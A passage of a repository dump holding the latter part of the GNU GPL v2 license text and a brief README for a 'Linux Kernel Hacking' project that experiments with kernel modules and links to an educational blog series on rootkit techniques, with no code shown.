executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | Experimentation with Linux kernel modules to try and learn more about how the kernel works. 4 | 5 | Ongoing series of blog posts on rootkit techniques can be found [here](https://xcellerator.github.io/). 6 | 7 | Educational purposes only. 8 | 9 | Tested on Ubuntu 20.04 and 16.04, via Vagrant - should work on most kernels. 10 | 11 | > Updated to work with kernels 5.7+ 12 | --------------------------------------------------------------------------------